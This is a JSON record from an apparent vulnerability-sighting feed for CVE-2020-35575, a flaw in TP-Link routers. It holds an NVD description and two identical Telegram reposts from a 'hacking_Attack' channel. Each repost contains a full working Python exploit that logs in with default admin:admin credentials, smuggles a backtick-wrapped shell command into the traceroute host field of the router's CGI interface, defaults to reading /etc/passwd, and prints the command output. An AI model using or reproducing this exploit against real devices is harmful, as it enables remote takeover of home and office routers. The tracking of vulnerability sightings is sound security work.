{"vulnerability": "CVE-2020-35575", "sightings": [{"uuid": "1a05f203-d11f-4d20-9f3f-1f604868a8e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/cibsecurity/21322", "content": "\u203c CVE-2020-35575 \u203c\n\nA password-disclosure issue in the web interface on certain TP-Link devices allows a remote attacker to get full administrative access to the web panel. This affects WA901ND devices before 3.16.9(201211) beta, and Archer C5, Archer C7, MR3420, MR6400, WA701ND, WA801ND, WDR3500, WDR3600, WE843N, WR1043ND, WR1045ND, WR740N, WR741ND, WR749N, WR802N, WR840N, WR841HP, WR841N, WR842N, WR842ND, WR845N, WR940N, WR941HP, WR945N, WR949N, and WRD4300 devices.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-12-26T07:26:44.000000Z"}, {"uuid": "f95c4188-3ef2-46a5-a1e0-4949a1f293a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:34.725425Z"}, {"uuid": "9c375956-fe2e-4246-a268-1db860b2cef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35575", "type": "seen", "source": "https://t.me/hacking_Attack/14116", "content": "Exploit Collector\nTP-Link TL-WR841N Command Injection\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png \nTP-Link TL-WR841N suffers from a remote command injection vulnerability.\n\nMD5 | 6d752418204da4962328ae4dea40f269\n\nDownload\n# Exploit Title: TP-Link TL-WR841N - Command Injection\n# Date: 2020-12-13\n# Exploit Author: Koh You Liang\n# Vendor Homepage: https://www.tp-link.com/\n# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip\n# Version: TL-WR841N 0.9.1 4.0\n# Tested on: Windows 10\n# CVE : CVE-2020-35575\n\nimport requests\nimport sys\nimport time\n\ntry:\n_ = sys.argv[2]\npayload = ' '.join(sys.argv[1:])\nexcept IndexError:\ntry:\npayload = sys.argv[1]\nexcept IndexError:\nprint(\"[*] Command not specified, using the default `cat etc/passwd=`\")\npayload = 'cat etc/passwd'\n\n# Default credentials is admin:admin - replace with your own\ncookies = {\n'Authorization': 'Basic YWRtaW46YWRtaW4='\n}\n\nheaders = {\n'Host': '192.168.0.1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',\n'Accept': '*/*',\n'Accept-Language': 'en-US,en;q=0.5',\n'Accept-Encoding': 'gzip, deflate',\n'Content-Type': 'text/plain',\n'Content-Length': '197',\n'Origin': 'http://192.168.0.1',\n'Connection': 'close',\n'Referer': 'http://192.168.0.1/mainFrame.htm',\n}\n\ndata1 = \\\n'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\\r\\nmaxHopCount=20\\r\\ntimeout=50\\r\\nnumberOfTries=1\\r\\nhost=\"`{}`\"\\r\\ndataBlockSize=64\\r\\nX_TP_ConnName=ewan_ipoe_d\\r\\ndiagnosticsState=Requested\\r\\nX_TP_HopSeq=0\\r\\n'''.format(payload)\nresponse1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)\nprint('[+] Sending payload...')\n\ntry:\nresponse1.text.splitlines()[0]\nexcept IndexError:\nsys.exit('[-] Cannot get response. Please check your cookie.')\nif response1.text.splitlines()[0] != '[error]0':\nsys.exit('[*] Router/Firmware is not vulnerable.')\n\ndata2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n'\nresponse2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)\nprint('[+] Receiving response from router...')\ntime.sleep(0.8) # Buffer time for traceroute to succeed\n\ndata3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\\r\\ndiagnosticsState\\r\\nX_TP_HopSeq\\r\\nX_TP_Result\\r\\n'''\nresponse3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)\n\nif '=:' in response3.text.splitlines()[3]:\nprint('[-] Command not supported.')\nelse:\nprint('[+] Exploit successful!')\nfor line_number, line in enumerate(response3.text.splitlines()):\ntry:\nif line_number == 3:\nprint(line[12:])\nif line_number > 3 and line != '[error]0':\nprint(line)\nif 'not known' in line:\nbreak\nexcept IndexError:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:09.417432Z"}]}